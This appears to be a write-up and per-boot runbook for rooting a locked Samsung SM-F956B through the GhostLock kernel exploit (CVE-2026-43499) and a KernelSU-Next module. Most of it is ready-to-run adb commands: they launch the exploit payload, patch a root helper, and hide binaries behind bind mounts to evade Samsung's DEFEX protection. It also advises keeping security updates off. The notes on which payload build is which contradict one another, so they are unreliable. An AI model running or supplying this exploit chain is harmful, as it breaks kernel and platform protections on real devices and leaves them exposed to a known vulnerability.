KernelSU-Next full root (Track K) — per-boot, locked bootloader
Achieved 2026-10-23: KernelSU-Next v3.4.2 running on a LOCKED bit-4 SM-F956B (F956BXXS4DZI1, Android 16, September 2026 patch). The bootloader never unlocks, nothing is flashed, and root is per boot. Reproduced 2026-10-28 with the archived artifacts — see the verification note below for exactly which builds.
Verification status — 2026-10-28
Update: the 0x400 fix is reproducible. We rebuilt it from the
archived payload by changing its four 0x3c0 stride words to
0x400 — verified build 58139c7b…, leak in ~6 s, root
confirmed. /proc/slabinfo on the device reports the
mm_struct object as 1024 bytes, so 0x400 is the correct stride.
Re-verified today with the archived set:
| Role | sha256 | Result |
|---|---|---|
| payload | 58139c7bbdb96a11e283a3e3a61955c50b9d43a62c6395d1b5cfa5cbdf33c239 | 0x400 stride; leak ~6s |
| helper | 1f69a881a34badf29bd23b7433bb5a249599d1a3d8c135cf83a83c0e6e5a9fd2 | EZIH helper patched to DZI1 — required |
| ksud | 20d5db05… | verified |
| module | c0d1a0aa… | verified |
Session log (serial redacted):
root-session-20261028-084213.redacted.log
· sha256 63572343fa48bea4562e40dec64f419ce3b2a27efb92e80e616d066269403bc3. The unredacted log stays on the lab machine; its
sha256 is 674a4159332dd7b1a188d8f8fe919834b23ffd73fd7c5b7286dea59c3b023698.
Note on build versions: the archived payload linked below uses the older 0x3c0
slab stride (probabilistic leak). Our updated build fixes the mm_struct stride to
0x400 (1024 bytes) and disables Samsung's 70% CPU cap, hitting reliably on fresh boots.
$ su -c id
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
$ grep kernelsu /proc/modules
kernelsu 499712 1 - Live 0x0000000000000000 (O)
$ ksud --version
ksud 3.4.2 (uapi: 5)
The stock helper is pinned to the One UI 9 (EZIH) runtime and refuses DZI1 with “This EZIH runtime requires exact release …EZIH and module key samsung-F956BXXU4EZIH-6.1.162”. Patch two same-length strings in place; the file stays 33,856 bytes:
samsung-F956BXXU4EZIH-6.1.162
-> samsung-F956BXXS4DZI1-6.1.145
6.1.162-android14-11-34343818-abF956BXXU4EZIH
-> 6.1.145-android14-11-33418572-abF956BXXS4DZI1
If the USB port resets the phone mid-run (this unit does), launch the payload detached and unplug the cable for ~2 minutes:
adb shell "cd /data/local/tmp && nohup setsid env \
GHOSTLOCK_HOME=/data/local/tmp \
GHOSTLOCK_HELPER_PATH=/data/local/tmp/pompomsu-helper-dzi1 \
GHOSTLOCK_KSUD_PATH=/data/local/tmp/ksud-dzi1 \
./payload > /data/local/tmp/dzi1.log 2>&1 &"
# unplug, wait, replug, then:
adb shell "su -c id"
Known limits of this path: no ksud daemon fork in late-load (the manager UI shows
no root; su and CLI still work), and modules report
mount: false. Root is per boot.
> Credit: root comes from KernelSU (by weishu) — the GKI kernel root — with the > KernelSU-Next fork's LKM path for the locked bootloader, delivered through the > GhostLock (CVE-2026-43499) exploit ecosystem. We ported and wired it; the techniques > are theirs.
Proof (straight off the phone)
$ su -c id
uid=0(root) gid=0(root) groups=0(root) context=u:r:ksu:s0
$ su -c getenforce
Enforcing
$ grep kernelsu /proc/modules
kernelsu 499712 0 - Live 0x0000000000000000 (O)
$ ksud --version
ksud 3.4.2 (uapi: 5)
$ getprop ro.boot.flash.locked -> 1
$ getprop ro.boot.vbmeta.device_state -> locked
The last two lines are the receipt: the bootloader is still locked while
su answers. The KernelSU-Next manager v3.4.2 reports Working — LKM (GKI2),
Jailbreak mode.
The three hidden killers (and their fixes)
-
Samsung's CPU-70% limit.
settings get global restricted_device_performancewas1,1— a Device-care setting that silently caps the CPU (prime core 3.40 → 2.11 GHz) and destroys the GhostLock race timing. It persists across reboots and is invisible. Fix:settings put global restricted_device_performance 0,0— plain adb, no root. This single setting explained a week of "the exploit used to hit". -
A wrong stride in the exploit. The payload scanned
mm_structwith stride0x3c0(960) but/proc/slabinfosays the slab object is 1024 bytes (0x400). One digit off = 1-in-32 odds per slot. Fixed in the DZI1/DZH5 offsets entries → the leak + full chain hit 1/1 atFOPS_DELAY_USEC=30000with that build. The archived payload still uses the older 0x3c0 stride, so its leak is probabilistic — see the verification note above. -
Samsung DEFEX Safeplace. DEFEX kills exec of
/data/local/tmpbinaries from root tasks ([DEFEX] Safeplace violation ... uid=0in dmesg). The fix is path spoofing: bind ksud over/system/bin/logcatand the module over/system/etc/hosts— both DEFEX-safe paths — then load.
The chain (what actually loads it)
One root request runs this (f956b-chain.sh):
sh
unshare -m /system/bin/sh -c \
"mount -o bind /data/local/tmp/ksud-f956b-dzi1 /system/bin/logcat && \
mount -o bind /data/local/tmp/kernelsu-dzi1.ko /system/etc/hosts && \
/system/bin/logcat insmod /system/etc/hosts allow_shell=1"
Notes that matter:
- `insmod` only — no post-fs-data, no module mounts, no framework restart. That is
exactly why this does NOT reboot the phone (the late-load path rebooted on us:
leftover `/data/adb` state + qcc-vendor reboot mutex — the failure class from
BuSung-dev Root-My-Galaxy issue #407).
- Loading the module instantly flips SELinux back to **Enforcing**, which kills the
bootstrap daemon's socket. Everything after the load happens in the same request,
or via `su`. (The chain script's later lines fail for this reason — expected, not
a bug.)
- toybox `unshare -m` on this build does not isolate — the bind lands GLOBAL, so
`/system/bin/logcat` IS ksud until the next reboot. Harmless (logd just spawns
ksud-as-logcat) but know it before you panic at a weird `logcat`.
- `/system/bin/su` is the KernelSU su-hook magic dentry (stat faked, no backing
file — opens fail, exec works).
## The artifacts
| file | sha256 |
|---|---|
| kernelsu.ko (v3.4.2, Samsung KDP/RKP/DEFEX/NO_PATCH_TEXT, vermagic byte-exact) | `c0d1a0aa85dda4173738bee3b9184e051b3a2af37a458985d41830acfba9f4f1` |
| ksud (v3.4.2, embeds the module) | `20d5db05a7c4d9229442bc1e3566a8fc2d60b2fbe047a683ab670fdac7b107f0` |
| payload (0x400 rebuilt, works) | `58139c7bbdb96a11e283a3e3a61955c50b9d43a62c6395d1b5cfa5cbdf33c239` |
| pompomsu-helper (EZIH — patch for DZI1) | `b634d6f6fb6eb1b2451738b6ffba23a019fcd86f8d93655bdf71770ece966f46` |
| pompomsu-helper (DZI1 patched) | `1f69a881a34badf29bd23b7433bb5a249599d1a3d8c135cf83a83c0e6e5a9fd2` |
> The originally listed `AB4726…` payload and `772A04…` helper are not in the
> archive and are unverified. Use the set above.
Built from the 250965249/KernelSU-Next-Samsung fork (commit 3115b87) with the DDK
image `ghcr.io/ylarod/ddk-min:android14-6.1-20260313` (clang r487747c — the same
clang that built the DZI1 kernel). Manager APK: official KernelSU-Next v3.4.2
release (`KernelSU_Next_v3.4.2_33355-release.apk`) — version code 33355 must match
the module's; older managers read "Not installed".
## The runbook (per boot)
```sh```
# once (persists): CPU limit OFF
adb shell settings put global restricted_device_performance 0,0
# per boot, step 1 — exploit (fresh boot + screen on)
adb shell "cd /data/local/tmp && GHOSTLOCK_ROOT_SHELL=1 \
GHOSTLOCK_HOME=/data/local/tmp \
GHOSTLOCK_HELPER_PATH=/data/local/tmp/pompomsu-helper-dzi1 \
GHOSTLOCK_KSUD_PATH=/data/local/tmp/ksud-dzi1 ./payload"
# FOPS_DELAY_USEC=30000 belongs to the missing 0x400 payload — omit it here.
# per boot, step 2 — one root request loads KernelSU
adb shell "echo 'sh /data/local/tmp/f956b-chain.sh' | /data/local/tmp/pompomsu-helper-dzi1"
# per boot, step 3 — root
adb shell "su -c id"
The honest part
- NOT persistent. Reboot = stock. The only persistent paths left are the bootloader (closed — the bit-4 abl ignores the unlock flag, proven) and an AVB-bypass flash (not available on a locked bootloader).
- The exploit is CVE-2026-43499 (GhostLock). The October 2026 SMR patches it — auto-update must stay OFF on this device.
-
Root shell via
suworks immediately (allow_shell=1); app grants go through the manager as usual. -
Evidence: the manager screenshot above is published at
/assets/shots/ksu-working-proof.png. The text logs referenced in older revisions were never published — treat the on-device commands in this page as the reproducible record.